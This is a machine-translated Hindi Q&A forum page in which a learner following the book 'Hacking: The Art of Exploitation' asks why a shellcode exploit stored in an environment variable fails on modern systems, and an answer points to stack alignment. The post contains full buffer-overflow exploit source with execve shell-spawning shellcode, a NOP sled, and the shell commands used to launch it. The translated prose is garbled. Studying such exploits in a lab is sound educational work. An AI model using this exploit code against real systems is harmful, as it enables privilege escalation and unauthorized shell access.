क्यों नहीं इस shellcode निष्पादित?

0

सवाल

मैं काम कर रहा हूँ के माध्यम से हैकिंग: कला के शोषण और चल रहा हूँ में मेरा पहला रोड़ा प्राप्त करने की कोशिश कर एक ज्ञात काम कर रहे शोषण से चलाने के लिए पुस्तक के माध्यम से एक वातावरण चर । सभी कार्यक्रमों में संकलित किया गया है के साथ -fno-stack-protector -zexecstack -no-pie -fno-pie.

चल रहा है exploit_notesearch.c (यद्यपि के साथ एक बहुत विशिष्ट ऑफसेट), मैं प्राप्त करने में सक्षम था का फायदा उठाने के लिए पॉप करने के लिए एक खोल ले जाकर ऑफसेट के साथ argv[1]. यह काम करता है पर आधुनिक OSes के साथ (ASLR विकलांग) के रूप में अच्छी तरह के रूप में LiveCD के साथ शामिल किताब है ।

notesearch.सी

exploit_notesearch.सी

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=208;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

   strcat(command, "\'");

   system(command); // run exploit
   free(command);
}

पर आगे के अध्याय में, हम सेट shellcode करने के लिए एक वातावरण चर और प्रयास करने के लिए पुनर्निर्देशित करने के लिए प्रवाह जगह पर ढेर जहां SHELLCODE वातावरण चर सेट है, आधे रास्ते के माध्यम से prepended एनओपी स्लेज. हालांकि, यह कभी कार्यान्वित शोषण पर आधुनिक OSes लेकिन बस ठीक काम करता है में Ubuntu 7.04 लाइव सीडी के साथ आया है कि पुस्तिका है । shellcode.bin है shellcode के शीर्ष पर exploit_notesearch.c फ़ाइल के साथ भाग गया echo -en और पुनर्निर्देशित में एक फ़ाइल है.

$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled

क्या है यहाँ पर जा रहा है कि बदल गया है के बीच पुराने ऑपरेटिंग सिस्टम और आधुनिक? वहाँ है एक सुरक्षा मैं कर रहा हूँ कि के बारे में पता है से रोकने के एनओपी स्लेज करने के लिए shellcode?

धन्यवाद ।

c environment-variables shellcode
2021-11-24 04:34:00
1

सबसे अच्छा जवाब

0

समस्या यह थी स्टैक संरेखण, संकलन के साथ -mpreferred-stack-boundary=2 संरेखित करता ढेर करने के लिए इसी तरह की किताब है ।

2021-11-24 15:24:48

अन्य भाषाओं में

यह पृष्ठ अन्य भाषाओं में है

Русский
..................................................................................................................
Italiano
..................................................................................................................
Polski
..................................................................................................................
Română
..................................................................................................................
한국어
..................................................................................................................
Français
..................................................................................................................
Türk
..................................................................................................................
Česk
..................................................................................................................
Português
..................................................................................................................
ไทย
..................................................................................................................
中文
..................................................................................................................
Español
..................................................................................................................
Slovenský
..................................................................................................................

इस श्रेणी में लोकप्रिय

लोकप्रिय सवाल इस श्रेणी में